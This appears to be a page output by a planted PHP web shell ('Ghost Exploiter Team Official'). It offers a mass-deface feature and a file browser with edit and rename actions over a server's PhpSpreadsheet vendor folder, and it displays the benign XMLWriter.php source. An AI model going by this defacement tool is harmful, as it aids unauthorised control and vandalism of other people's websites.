Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpoffice
/
phpspreadsheet
/
src
/
PhpSpreadsheet
/
Shared
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Escher
--
ren
OLE
--
ren
Trend
--
ren
CodePage.php
4.575KB
edt
ren
Date.php
18.813KB
edt
ren
Drawing.php
4.869KB
edt
ren
Escher.php
1.136KB
edt
ren
File.php
6.003KB
edt
ren
Font.php
24.052KB
edt
ren
IntOrFloat.php
0.433KB
edt
ren
OLE.php
17.472KB
edt
ren
OLERead.php
10.206KB
edt
ren
PasswordHasher.php
3.918KB
edt
ren
StringHelper.php
23.108KB
edt
ren
TimeZone.php
2.144KB
edt
ren
XMLWriter.php
2.542KB
edt
ren
Xls.php
11.495KB
edt
ren
<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; class XMLWriter extends \XMLWriter { /** @var bool */ public static $debugEnabled = false; /** Temporary storage method */ const STORAGE_MEMORY = 1; const STORAGE_DISK = 2; /** * Temporary filename. * * @var string */ private $tempFileName = ''; /** * Create a new XMLWriter instance. * * @param int $temporaryStorage Temporary storage location * @param string $temporaryStorageFolder Temporary storage folder */ public function __construct($temporaryStorage = self::STORAGE_MEMORY, $temporaryStorageFolder = null) { // Open temporary storage if ($temporaryStorage == self::STORAGE_MEMORY) { $this->openMemory(); } else { // Create temporary filename if ($temporaryStorageFolder === null) { $temporaryStorageFolder = File::sysGetTempDir(); } $this->tempFileName = (string) @tempnam($temporaryStorageFolder, 'xml'); // Open storage if (empty($this->tempFileName) || $this->openUri($this->tempFileName) === false) { // Fallback to memory... $this->openMemory(); } } // Set default values if (self::$debugEnabled) { $this->setIndent(true); } } /** * Destructor. */ public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { /** @scrutinizer ignore-unhandled */ @unlink($this->tempFileName); } } public function __wakeup(): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } /** * Get written data. * * @return string */ public function getData() { if ($this->tempFileName == '') { return $this->outputMemory(true); } $this->flush(); return file_get_contents($this->tempFileName) ?: ''; } /** * Wrapper method for writeRaw. * * @param null|string|string[] $rawTextData * * @return bool */ public function writeRawData($rawTextData) { if (is_array($rawTextData)) { $rawTextData = implode("\n", $rawTextData); } return $this->writeRaw(htmlspecialchars($rawTextData ?? '')); } }
<=Back
Liking